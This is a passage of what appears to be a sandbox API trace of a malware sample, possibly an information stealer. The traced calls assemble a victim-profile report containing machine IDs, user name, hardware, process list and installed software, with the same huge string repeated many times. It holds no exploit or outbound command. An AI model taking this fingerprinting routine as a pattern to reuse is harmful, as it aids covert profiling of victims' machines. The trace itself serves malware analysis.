[2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016"
[0054.973] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 ["
[0054.973] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [", lpString2="16.0.4266.1001" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- 